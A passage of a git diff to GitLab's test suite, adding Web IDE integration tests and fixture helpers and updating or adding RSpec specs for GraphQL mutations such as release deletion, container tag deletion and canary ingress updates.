+ container = document.querySelector('.webide-container');
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ vm = null;
+ });
+
+ it('shows loading indicator while the IDE is loading', async () => {
+ vm = startWebIDE(container);
+
+ expect(container.querySelectorAll('.multi-file-loading-container')).toHaveLength(3);
+ });
+
+ describe('when the project is empty', () => {
+ beforeEach(() => {
+ vm = startWebIDE(container, { isRepoEmpty: true });
+ });
+
+ it('shows "No files" in the left sidebar', async () => {
+ expect(await screen.findByText('No files')).toBeDefined();
+ });
+
+ it('shows a "New file" button', async () => {
+ const button = await screen.findByTitle('New file');
+
+ expect(button.tagName).toEqual('BUTTON');
+ });
+ });
+
+ describe('when the file tree is loaded', () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container);
+
+ await screen.findByText('README'); // wait for file tree to load
+ });
+
+ it('shows a list of files in the left sidebar', async () => {
+ expect(ideHelper.getFilesList()).toEqual(
+ expect.arrayContaining(['README', 'LICENSE', 'CONTRIBUTING.md']),
+ );
+ });
+
+ it('shows empty state in the main editor window', async () => {
+ expect(
+ await screen.findByText(
+ "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes.",
+ ),
+ ).toBeDefined();
+ });
+
+ it('shows commit button in disabled state', async () => {
+ const button = await screen.findByTestId('begin-commit-button');
+
+ expect(button.getAttribute('disabled')).toBeDefined();
+ });
+
+ it('shows branch/MR dropdown with master selected', async () => {
+ const dropdown = await screen.findByTestId('ide-nav-dropdown');
+
+ expect(dropdown.textContent).toContain('master');
+ });
+ });
+
+ describe('a path to a text file is present in the URL', () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container, { path: 'README.md' });
+
+ await ideHelper.waitForTabToOpen('README.md');
+ });
+
+ it('opens the file and its contents are shown in Monaco', async () => {
+ expect(await ideHelper.getEditorValue()).toContain('Sample repo for testing gitlab features');
+ });
+ });
+
+ describe('a path to a binary file is present in the URL', () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container, { path: 'Gemfile.zip' });
+
+ await ideHelper.waitForTabToOpen('Gemfile.zip');
+ });
+
+ it('shows download viewer', async () => {
+ const downloadButton = await screen.findByText('Download');
+
+ expect(downloadButton.getAttribute('download')).toEqual('Gemfile.zip');
+ expect(downloadButton.getAttribute('href')).toContain('/raw/');
+ });
+ });
+
+ describe('a path to an image is present in the URL', () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container, { path: 'files/images/logo-white.png' });
+
+ await ideHelper.waitForTabToOpen('logo-white.png');
+ });
+
+ it('shows image viewer', async () => {
+ const viewer = await screen.findByTestId('image-viewer');
+ const img = viewer.querySelector('img');
+
+ expect(img.src).toContain('logo-white.png');
+ });
+ });
+
+ describe('path in URL is a directory', () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container, { path: 'files/images' });
+
+ // wait for folders in left sidebar to be expanded
+ await screen.findByText('images');
+ });
+
+ it('expands folders in the left sidebar', () => {
+ expect(ideHelper.getFilesList()).toEqual(
+ expect.arrayContaining(['files', 'images', 'logo-white.png', 'logo-black.png']),
+ );
+ });
+
+ it('shows empty state in the main editor window', async () => {
+ expect(
+ await screen.findByText(
+ "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes.",
+ ),
+ ).toBeDefined();
+ });
+ });
+
+ describe("a file for path in url doesn't exist in the repo", () => {
+ beforeEach(async () => {
+ vm = startWebIDE(container, { path: 'abracadabra/hocus-focus.txt' });
+
+ await ideHelper.waitForTabToOpen('hocus-focus.txt');
+ });
+
+ it('create new folders and file in the left sidebar', () => {
+ expect(ideHelper.getFilesList()).toEqual(
+ expect.arrayContaining(['abracadabra', 'hocus-focus.txt']),
+ );
+ });
+
+ it('creates a blank new file', async () => {
+ expect(await ideHelper.getEditorValue()).toEqual('\n');
+ });
+ });
+});
diff --git a/spec/frontend_integration/test_helpers/fixtures.js b/spec/frontend_integration/test_helpers/fixtures.js
index 50fa4859dfa..46946ed71f2 100644
--- a/spec/frontend_integration/test_helpers/fixtures.js
+++ b/spec/frontend_integration/test_helpers/fixtures.js
@@ -1,10 +1,40 @@
/* eslint-disable global-require, import/no-unresolved */
import { memoize } from 'lodash';
-export const getProject = () => require('test_fixtures/api/projects/get.json');
-export const getBranch = () => require('test_fixtures/api/projects/branches/get.json');
-export const getMergeRequests = () => require('test_fixtures/api/merge_requests/get.json');
-export const getRepositoryFiles = () => require('test_fixtures/projects_json/files.json');
-export const getPipelinesEmptyResponse = () =>
- require('test_fixtures/projects_json/pipelines_empty.json');
+const createFactoryWithDefault = (fn, defaultValue) => () => {
+ try {
+ return fn();
+ } catch {
+ return defaultValue;
+ }
+};
+
+const factory = {
+ json: fn => createFactoryWithDefault(fn, { error: 'fixture not found' }),
+ text: fn => createFactoryWithDefault(fn, 'Hello world\nHow are you today?\n'),
+ binary: fn => createFactoryWithDefault(fn, ''),
+};
+
+export const getProject = factory.json(() => require('test_fixtures/api/projects/get.json'));
+export const getEmptyProject = factory.json(() =>
+ require('test_fixtures/api/projects/get_empty.json'),
+);
+export const getBranch = factory.json(() =>
+ require('test_fixtures/api/projects/branches/get.json'),
+);
+export const getMergeRequests = factory.json(() =>
+ require('test_fixtures/api/merge_requests/get.json'),
+);
+export const getRepositoryFiles = factory.json(() =>
+ require('test_fixtures/projects_json/files.json'),
+);
+export const getPipelinesEmptyResponse = factory.json(() =>
+ require('test_fixtures/projects_json/pipelines_empty.json'),
+);
export const getCommit = memoize(() => getBranch().commit);
+
+export const getBlobReadme = factory.text(() => require('test_fixtures/blob/text/README.md'));
+export const getBlobZip = factory.binary(() => require('test_fixtures/blob/binary/Gemfile.zip'));
+export const getBlobImage = factory.binary(() =>
+ require('test_fixtures/blob/images/logo-white.png'),
+);
diff --git a/spec/frontend_integration/test_helpers/mock_server/index.js b/spec/frontend_integration/test_helpers/mock_server/index.js
index b3979d05ea5..6f090565635 100644
--- a/spec/frontend_integration/test_helpers/mock_server/index.js
+++ b/spec/frontend_integration/test_helpers/mock_server/index.js
@@ -1,5 +1,14 @@
import { Server, Model, RestSerializer } from 'miragejs';
-import { getProject, getBranch, getMergeRequests, getRepositoryFiles } from 'test_helpers/fixtures';
+import {
+ getProject,
+ getEmptyProject,
+ getBranch,
+ getMergeRequests,
+ getRepositoryFiles,
+ getBlobReadme,
+ getBlobImage,
+ getBlobZip,
+} from 'test_helpers/fixtures';
import setupRoutes from './routes';
export const createMockServerOptions = () => ({
@@ -18,9 +27,23 @@ export const createMockServerOptions = () => ({
seeds(schema) {
schema.db.loadData({
files: getRepositoryFiles().map(path => ({ path })),
- projects: [getProject()],
+ projects: [getProject(), getEmptyProject()],
branches: [getBranch()],
mergeRequests: getMergeRequests(),
+ filesRaw: [
+ {
+ raw: getBlobReadme(),
+ path: 'README.md',
+ },
+ {
+ raw: getBlobZip(),
+ path: 'Gemfile.zip',
+ },
+ {
+ raw: getBlobImage(),
+ path: 'files/images/logo-white.png',
+ },
+ ],
userPermissions: [
{
createMergeRequestIn: true,
diff --git a/spec/frontend_integration/test_helpers/mock_server/routes/repository.js b/spec/frontend_integration/test_helpers/mock_server/routes/repository.js
index c5e91c9e87e..166c0cc32db 100644
--- a/spec/frontend_integration/test_helpers/mock_server/routes/repository.js
+++ b/spec/frontend_integration/test_helpers/mock_server/routes/repository.js
@@ -19,6 +19,18 @@ export default server => {
return schema.db.files.map(({ path }) => path);
});
+ server.get('/:namespace/:project/-/blob/:sha/*path', (schema, request) => {
+ const { path } = schema.db.files.findBy({ path: request.params.path });
+
+ return { path, rawPath: request.url.replace('/-/blob', '/-/raw') };
+ });
+
+ server.get('/:namespace/:project/-/raw/:sha/*path', (schema, request) => {
+ const { path } = request.params;
+
+ return schema.db.filesRaw.findBy({ path })?.raw || 'Sample content';
+ });
+
server.post('/api/v4/projects/:id/repository/commits', (schema, request) => {
const { branch: branchName, commit_message: message, actions } = JSON.parse(
request.requestBody,
diff --git a/spec/graphql/features/authorization_spec.rb b/spec/graphql/features/authorization_spec.rb
index e40c44925e2..ec67ed16fe9 100644
--- a/spec/graphql/features/authorization_spec.rb
+++ b/spec/graphql/features/authorization_spec.rb
@@ -55,7 +55,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
describe 'with a single permission' do
let(:query_type) do
query_factory do |query|
- query.field :item, type, null: true, resolve: ->(obj, args, ctx) { test_object }, authorize: permission_single
+ query.field :item, type, null: true, resolver: simple_resolver(test_object), authorize: permission_single
end
end
@@ -66,7 +66,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
let(:query_type) do
permissions = permission_collection
query_factory do |qt|
- qt.field :item, type, null: true, resolve: ->(obj, args, ctx) { test_object } do
+ qt.field :item, type, null: true, resolver: simple_resolver(test_object) do
authorize permissions
end
end
@@ -79,7 +79,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
describe 'Field authorizations when field is a built in type' do
let(:query_type) do
query_factory do |query|
- query.field :item, type, null: true, resolve: ->(obj, args, ctx) { test_object }
+ query.field :item, type, null: true, resolver: simple_resolver(test_object)
end
end
@@ -132,7 +132,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
describe 'Type authorizations' do
let(:query_type) do
query_factory do |query|
- query.field :item, type, null: true, resolve: ->(obj, args, ctx) { test_object }
+ query.field :item, type, null: true, resolver: simple_resolver(test_object)
end
end
@@ -169,7 +169,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
let(:query_type) do
query_factory do |query|
- query.field :item, type, null: true, resolve: ->(obj, args, ctx) { test_object }, authorize: permission_2
+ query.field :item, type, null: true, resolver: simple_resolver(test_object), authorize: permission_2
end
end
@@ -188,7 +188,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
let(:query_type) do
query_factory do |query|
- query.field :item, type.connection_type, null: true, resolve: ->(obj, args, ctx) { [test_object, second_test_object] }
+ query.field :item, type.connection_type, null: true, resolver: simple_resolver([test_object, second_test_object])
end
end
@@ -208,9 +208,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
describe 'limiting connections with multiple objects' do
let(:query_type) do
query_factory do |query|
- query.field :item, type.connection_type, null: true, resolve: ->(obj, args, ctx) do
- [test_object, second_test_object]
- end
+ query.field :item, type.connection_type, null: true, resolver: simple_resolver([test_object, second_test_object])
end
end
@@ -234,7 +232,7 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
let(:query_type) do
query_factory do |query|
- query.field :item, [type], null: true, resolve: ->(obj, args, ctx) { [test_object] }
+ query.field :item, [type], null: true, resolver: simple_resolver([test_object])
end
end
@@ -262,13 +260,13 @@ RSpec.describe 'Gitlab::Graphql::Authorization' do
type_factory do |type|
type.graphql_name 'FakeProjectType'
type.field :test_issues, issue_type.connection_type, null: false,
- resolve: -> (_, _, _) { Issue.where(project: [visible_project, other_project]).order(id: :asc) }
+ resolver: simple_resolver(Issue.where(project: [visible_project, other_project]).order(id: :asc))
end
end
let(:query_type) do
query_factory do |query|
- query.field :test_project, project_type, null: false, resolve: -> (_, _, _) { visible_project }
+ query.field :test_project, project_type, null: false, resolver: simple_resolver(visible_project)
end
end
diff --git a/spec/graphql/features/feature_flag_spec.rb b/spec/graphql/features/feature_flag_spec.rb
index 9ebc6e595a6..77810f78257 100644
--- a/spec/graphql/features/feature_flag_spec.rb
+++ b/spec/graphql/features/feature_flag_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Graphql Field feature flags' do
let(:query_type) do
query_factory do |query|
- query.field :item, type, null: true, feature_flag: feature_flag, resolve: ->(obj, args, ctx) { test_object }
+ query.field :item, type, null: true, feature_flag: feature_flag, resolver: simple_resolver(test_object)
end
end
diff --git a/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb b/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
index e6a7434d579..47ee338ad34 100644
--- a/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
+++ b/spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
@@ -28,6 +28,7 @@ RSpec.describe Mutations::AlertManagement::CreateAlertIssue do
end
it_behaves_like 'an incident management tracked event', :incident_management_incident_created
+ it_behaves_like 'an incident management tracked event', :incident_management_alert_create_incident
end
context 'when CreateAlertIssue responds with an error' do
diff --git a/spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb b/spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb
index f74f9186743..acd7070d0d3 100644
--- a/spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb
+++ b/spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Mutations::AlertManagement::HttpIntegration::Destroy do
specify { expect(described_class).to require_graphql_authorizations(:admin_operations) }
describe '#resolve' do
- subject(:resolve) { mutation_for(project, current_user).resolve(args) }
+ subject(:resolve) { mutation_for(project, current_user).resolve(**args) }
context 'user has access to project' do
before do
diff --git a/spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb b/spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb
index d3ffb2abb47..96974c2aa6f 100644
--- a/spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb
+++ b/spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Mutations::AlertManagement::HttpIntegration::ResetToken do
specify { expect(described_class).to require_graphql_authorizations(:admin_operations) }
describe '#resolve' do
- subject(:resolve) { mutation_for(project, current_user).resolve(args) }
+ subject(:resolve) { mutation_for(project, current_user).resolve(**args) }
context 'user has sufficient access to project' do
before do
diff --git a/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb b/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
index 45d92695e06..ddf23909035 100644
--- a/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
+++ b/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Mutations::AlertManagement::PrometheusIntegration::ResetToken do
specify { expect(described_class).to require_graphql_authorizations(:admin_project) }
describe '#resolve' do
- subject(:resolve) { mutation_for(project, current_user).resolve(args) }
+ subject(:resolve) { mutation_for(project, current_user).resolve(**args) }
context 'user has sufficient access to project' do
before do
diff --git a/spec/graphql/mutations/alert_management/update_alert_status_spec.rb b/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
index 08761ce64c2..8465393f299 100644
--- a/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
+++ b/spec/graphql/mutations/alert_management/update_alert_status_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Mutations::AlertManagement::UpdateAlertStatus do
specify { expect(described_class).to require_graphql_authorizations(:update_alert_management_alert) }
describe '#resolve' do
- subject(:resolve) { mutation_for(project, current_user).resolve(args) }
+ subject(:resolve) { mutation_for(project, current_user).resolve(**args) }
context 'user has access to project' do
before do
diff --git a/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb b/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
index 71c43ed826c..24104a20465 100644
--- a/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
+++ b/spec/graphql/mutations/boards/issues/issue_move_list_spec.rb
@@ -34,18 +34,18 @@ RSpec.describe Mutations::Boards::Issues::IssueMoveList do
end
subject do
- mutation.resolve(params.merge(move_params))
+ mutation.resolve(**params.merge(move_params))
end
describe '#ready?' do
it 'raises an error if required arguments are missing' do
- expect { mutation.ready?(params) }
+ expect { mutation.ready?(**params) }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, "At least one of the arguments " \
"fromListId, toListId, afterId or beforeId is required")
end
it 'raises an error if only one of fromListId and toListId is present' do
- expect { mutation.ready?(params.merge(from_list_id: list1.id)) }
+ expect { mutation.ready?(**params.merge(from_list_id: list1.id)) }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError,
'Both fromListId and toListId must be present'
)
@@ -73,18 +73,6 @@ RSpec.describe Mutations::Boards::Issues::IssueMoveList do
it_behaves_like 'raises a resource not available error'
end
-
- context 'when user cannot access board' do
- let(:board) { create(:board, group: create(:group, :private)) }
-
- it_behaves_like 'raises a resource not available error'
- end
-
- context 'when passing board_id as nil' do
- let(:board) { nil }
-
- it_behaves_like 'raises a resource not available error'
- end
end
end
end
diff --git a/spec/graphql/mutations/boards/lists/create_spec.rb b/spec/graphql/mutations/boards/lists/create_spec.rb
index b1fe9911c7b..894dd1f34b4 100644
--- a/spec/graphql/mutations/boards/lists/create_spec.rb
+++ b/spec/graphql/mutations/boards/lists/create_spec.rb
@@ -23,12 +23,12 @@ RSpec.describe Mutations::Boards::Lists::Create do
describe '#ready?' do
it 'raises an error if required arguments are missing' do
- expect { mutation.ready?({ board_id: 'some id' }) }
+ expect { mutation.ready?(board_id: 'some id') }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, /one and only one of/)
end
it 'raises an error if too many required arguments are specified' do
- expect { mutation.ready?({ board_id: 'some id', backlog: true, label_id: 'some label' }) }
+ expect { mutation.ready?(board_id: 'some id', backlog: true, label_id: 'some label') }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, /one and only one of/)
end
end
@@ -68,9 +68,8 @@ RSpec.describe Mutations::Boards::Lists::Create do
context 'when label not found' do
let(:list_create_params) { { label_id: "gid://gitlab/Label/#{non_existing_record_id}" } }
- it 'raises an error' do
- expect { subject }
- .to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'Label not found!')
+ it 'returns an error' do
+ expect(subject[:errors]).to include 'Label not found'
end
end
end
diff --git a/spec/graphql/mutations/concerns/mutations/finds_by_gid_spec.rb b/spec/graphql/mutations/concerns/mutations/finds_by_gid_spec.rb
new file mode 100644
index 00000000000..37e0fd611e4
--- /dev/null
+++ b/spec/graphql/mutations/concerns/mutations/finds_by_gid_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::FindsByGid do
+ include GraphqlHelpers
+
+ let(:mutation_class) do
+ Class.new(Mutations::BaseMutation) do
+ authorize :read_user
+
+ include Mutations::FindsByGid
+ end
+ end
+
+ let(:query) { double('Query', schema: GitlabSchema) }
+ let(:context) { GraphQL::Query::Context.new(query: query, object: nil, values: { current_user: user }) }
+ let(:user) { create(:user) }
+ let(:gid) { user.to_global_id }
+
+ subject(:mutation) { mutation_class.new(object: nil, context: context, field: nil) }
+
+ it 'calls GitlabSchema.find_by_gid to find objects during authorized_find!' do
+ expect(mutation.authorized_find!(id: gid)).to eq(user)
+ end
+end
diff --git a/spec/graphql/mutations/container_expiration_policies/update_spec.rb b/spec/graphql/mutations/container_expiration_policies/update_spec.rb
index 9c6016e0af4..e22fb951172 100644
--- a/spec/graphql/mutations/container_expiration_policies/update_spec.rb
+++ b/spec/graphql/mutations/container_expiration_policies/update_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Mutations::ContainerExpirationPolicies::Update do
specify { expect(described_class).to require_graphql_authorizations(:destroy_container_image) }
describe '#resolve' do
- subject { described_class.new(object: project, context: { current_user: user }, field: nil).resolve(params) }
+ subject { described_class.new(object: project, context: { current_user: user }, field: nil).resolve(**params) }
RSpec.shared_examples 'returning a success' do
it 'returns the container expiration policy with no errors' do
diff --git a/spec/graphql/mutations/container_repositories/destroy_tags_spec.rb b/spec/graphql/mutations/container_repositories/destroy_tags_spec.rb
new file mode 100644
index 00000000000..f22d9ffe753
--- /dev/null
+++ b/spec/graphql/mutations/container_repositories/destroy_tags_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::ContainerRepositories::DestroyTags do
+ include_context 'container repository delete tags service shared context'
+ using RSpec::Parameterized::TableSyntax
+
+ let(:id) { repository.to_global_id.to_s }
+
+ specify { expect(described_class).to require_graphql_authorizations(:destroy_container_image) }
+
+ describe '#resolve' do
+ let(:tags) { %w[A C D E] }
+
+ subject do
+ described_class.new(object: nil, context: { current_user: user }, field: nil)
+ .resolve(id: id, tag_names: tags)
+ end
+
+ shared_examples 'destroying container repository tags' do
+ before do
+ stub_delete_reference_requests(tags)
+ expect_delete_tag_by_names(tags)
+ allow_next_instance_of(ContainerRegistry::Client) do |client|
+ allow(client).to receive(:supports_tag_delete?).and_return(true)
+ end
+ end
+
+ it 'destroys the container repository tags' do
+ expect(Projects::ContainerRepository::DeleteTagsService)
+ .to receive(:new).and_call_original
+
+ expect(subject).to eq(errors: [], deleted_tag_names: tags)
+ end
+
+ it 'creates a package event' do
+ expect(::Packages::CreateEventService)
+ .to receive(:new).with(nil, user, event_name: :delete_tag_bulk, scope: :tag).and_call_original
+ expect { subject }.to change { ::Packages::Event.count }.by(1)
+ end
+ end
+
+ shared_examples 'denying access to container respository' do
+ it 'raises an error' do
+ expect(::Projects::ContainerRepository::DeleteTagsService).not_to receive(:new)
+
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'with valid id' do
+ where(:user_role, :shared_examples_name) do
+ :maintainer | 'destroying container repository tags'
+ :developer | 'destroying container repository tags'
+ :reporter | 'denying access to container respository'
+ :guest | 'denying access to container respository'
+ :anonymous | 'denying access to container respository'
+ end
+
+ with_them do
+ before do
+ project.send("add_#{user_role}", user) unless user_role == :anonymous
+ end
+
+ it_behaves_like params[:shared_examples_name]
+ end
+ end
+
+ context 'with invalid id' do
+ let(:id) { 'gid://gitlab/ContainerRepository/5555' }
+
+ it_behaves_like 'denying access to container respository'
+ end
+
+ context 'with service error' do
+ before do
+ project.add_maintainer(user)
+ allow_next_instance_of(Projects::ContainerRepository::DeleteTagsService) do |service|
+ allow(service).to receive(:execute).and_return(message: 'could not delete tags', status: :error)
+ end
+ end
+
+ it { is_expected.to eq(errors: ['could not delete tags'], deleted_tag_names: []) }
+
+ it 'does not create a package event' do
+ expect(::Packages::CreateEventService).not_to receive(:new)
+ expect { subject }.not_to change { ::Packages::Event.count }
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
index 2e5d41a8f1e..162b1249ab5 100644
--- a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
+++ b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Mutations::Discussions::ToggleResolve do
describe '#resolve' do
subject do
- mutation.resolve({ id: id_arg, resolve: resolve_arg })
+ mutation.resolve(id: id_arg, resolve: resolve_arg)
end
let(:id_arg) { discussion.to_global_id.to_s }
diff --git a/spec/graphql/mutations/environments/canary_ingress/update_spec.rb b/spec/graphql/mutations/environments/canary_ingress/update_spec.rb
new file mode 100644
index 00000000000..c022828cf09
--- /dev/null
+++ b/spec/graphql/mutations/environments/canary_ingress/update_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Environments::CanaryIngress::Update do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:environment) { create(:environment, project: project) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
+ let(:user) { maintainer }
+
+ subject(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
+
+ before_all do
+ project.add_maintainer(maintainer)
+ project.add_reporter(reporter)
+ end
+
+ describe '#resolve' do
+ subject { mutation.resolve(id: environment_id, weight: weight) }
+
+ let(:environment_id) { environment.to_global_id.to_s }
+ let(:weight) { 50 }
+ let(:update_service) { double('update_service') }
+
+ before do
+ allow(Environments::CanaryIngress::UpdateService).to receive(:new) { update_service }
+ end
+
+ context 'when service execution succeeded' do
+ before do
+ allow(update_service).to receive(:execute_async) { { status: :success } }
+ end
+
+ it 'returns no errors' do
+ expect(subject[:errors]).to be_empty
+ end
+ end
+
+ context 'when service encounters a problem' do
+ before do
+ allow(update_service).to receive(:execute_async) { { status: :error, message: 'something went wrong' } }
+ end
+
+ it 'returns an error' do
+ expect(subject[:errors]).to eq(['something went wrong'])
+ end
+ end
+
+ context 'when environment is not found' do
+ let(:environment_id) { non_existing_record_id.to_s }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(GraphQL::CoercionError)
+ end
+ end
+
+ context 'when user is reporter who does not have permission to access the environment' do
+ let(:user) { reporter }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error("The resource that you are attempting to access does not exist or you don't have permission to perform this action")
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/issues/create_spec.rb b/spec/graphql/mutations/issues/create_spec.rb
index 57658f6b358..422ad40a9cb 100644
--- a/spec/graphql/mutations/issues/create_spec.rb
+++ b/spec/graphql/mutations/issues/create_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Mutations::Issues::Create do
project.add_guest(assignee2)
end
- subject { mutation.resolve(mutation_params) }
+ subject { mutation.resolve(**mutation_params) }
context 'when the user does not have permission to create an issue' do
it 'raises an error' do
@@ -117,7 +117,7 @@ RSpec.describe Mutations::Issues::Create do
end
it 'raises exception when mutually exclusive params are given' do
- expect { mutation.ready?(mutation_params) }
+ expect { mutation.ready?(**mutation_params) }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, /one and only one of/)
end
end
@@ -128,7 +128,7 @@ RSpec.describe Mutations::Issues::Create do
end
it 'raises exception when mutually exclusive params are given' do
- expect { mutation.ready?(mutation_params) }
+ expect { mutation.ready?(**mutation_params) }
.to raise_error(Gitlab::Graphql::Errors::ArgumentError, /to resolve a discussion please also provide `merge_request_to_resolve_discussions_of` parameter/)
end
end
@@ -139,7 +139,7 @@ RSpec.describe Mutations::Issues::Create do
end
it 'raises exception when mutually exclusive params are given' do
- expect { mutation.ready?(mutation_params) }.not_to raise_error
+ expect { mutation.ready?(**mutation_params) }.not_to raise_error
end
end
end
diff --git a/spec/graphql/mutations/issues/update_spec.rb b/spec/graphql/mutations/issues/update_spec.rb
index ce1eb874bcf..f10e257e153 100644
--- a/spec/graphql/mutations/issues/update_spec.rb
+++ b/spec/graphql/mutations/issues/update_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Mutations::Issues::Update do
}.merge(expected_attributes)
end
- subject { mutation.resolve(mutation_params) }
+ subject { mutation.resolve(**mutation_params) }
it_behaves_like 'permission level for issue mutation is correctly verified'
diff --git a/spec/graphql/mutations/labels/create_spec.rb b/spec/graphql/mutations/labels/create_spec.rb
index 8b284816d63..b2dd94f31bb 100644
--- a/spec/graphql/mutations/labels/create_spec.rb
+++ b/spec/graphql/mutations/labels/create_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe Mutations::Labels::Create do
end
describe '#ready?' do
- subject { mutation.ready?(attributes.merge(extra_params)) }
+ subject { mutation.ready?(**attributes.merge(extra_params)) }
context 'when passing both project_path and group_path' do
let(:extra_params) { { project_path: 'foo', group_path: 'bar' } }
diff --git a/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb b/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
index 8c22e1a1cb6..d88b196cbff 100644
--- a/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
+++ b/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Mutations::Notes::RepositionImageDiffNote do
describe '#resolve' do
subject do
- mutation.resolve({ note: note, position: new_position })
+ mutation.resolve(note: note, position: new_position)
end
let_it_be(:noteable) { create(:merge_request) }
diff --git a/spec/graphql/mutations/releases/delete_spec.rb b/spec/graphql/mutations/releases/delete_spec.rb
new file mode 100644
index 00000000000..bedb72b002c
--- /dev/null
+++ b/spec/graphql/mutations/releases/delete_spec.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Releases::Delete do
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:non_project_member) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:tag) { 'v1.1.0'}
+ let_it_be(:release) { create(:release, project: project, tag: tag) }
+
+ let(:mutation) { described_class.new(object: nil, context: { current_user: current_user }, field: nil) }
+
+ let(:mutation_arguments) do
+ {
+ project_path: project.full_path,
+ tag: tag
+ }
+ end
+
+ before do
+ project.add_developer(developer)
+ project.add_maintainer(maintainer)
+ end
+
+ shared_examples 'unauthorized or not found error' do
+ it 'raises a Gitlab::Graphql::Errors::ResourceNotAvailable error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable, "The resource that you are attempting to access does not exist or you don't have permission to perform this action")
+ end
+ end
+
+ describe '#resolve' do
+ subject(:resolve) do
+ mutation.resolve(**mutation_arguments)
+ end
+
+ context 'when the current user has access to create releases' do
+ let(:current_user) { maintainer }
+
+ it 'deletes the release' do
+ expect { subject }.to change { Release.count }.by(-1)
+ end
+
+ it 'returns the deleted release' do
+ expect(subject[:release].tag).to eq(tag)
+ end
+
+ it 'does not remove the Git tag associated with the deleted release' do
+ expect { subject }.not_to change { Project.find_by_id(project.id).repository.tag_count }
+ end
+
+ it 'returns no errors' do
+ expect(subject[:errors]).to eq([])
+ end
+
+ context 'validation' do
+ context 'when the release does not exist' do
+ let(:mutation_arguments) { super().merge(tag: 'not-a-real-release') }
+
+ it 'returns the release as nil' do
+ expect(subject[:release]).to be_nil
+ end
+
+ it 'returns an errors-at-data message' do
+ expect(subject[:errors]).to eq(['Release does not exist'])
+ end
+ end
+
+ context 'when the project does not exist' do
+ let(:mutation_arguments) { super().merge(project_path: 'not/a/real/path') }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+ end
+ end
+
+ context "when the current user doesn't have access to update releases" do
+ context 'when the user is a developer' do
+ let(:current_user) { developer }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+
+ context 'when the user is a non-project member' do
